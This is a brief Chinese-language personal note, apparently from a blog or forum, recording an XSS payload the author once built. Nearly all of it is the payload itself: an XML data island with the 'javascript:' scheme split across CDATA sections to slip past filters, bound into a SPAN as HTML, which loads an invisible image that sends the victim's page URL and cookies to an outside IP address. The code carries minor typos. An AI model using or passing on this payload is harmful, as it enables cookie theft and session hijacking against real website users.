曾经一个XSS洞构造，做个记录

<XML ID=I>
    <X>
        <C>
    <![CDATA[<IMG SRC="javas]]>
    <![CDATA[cript:xxx=new Image();xx.src='http://61.130.75.239/pic/163.asp?url='+escape(document.URL)++'&cookie='+escape(document.cookie);" width=0 height=0>]]>
         </C>
    </X>
</xml>
<SPAN DATASRC=#I DATAFLD=CDATAFORMATAS=HTML></SPAN>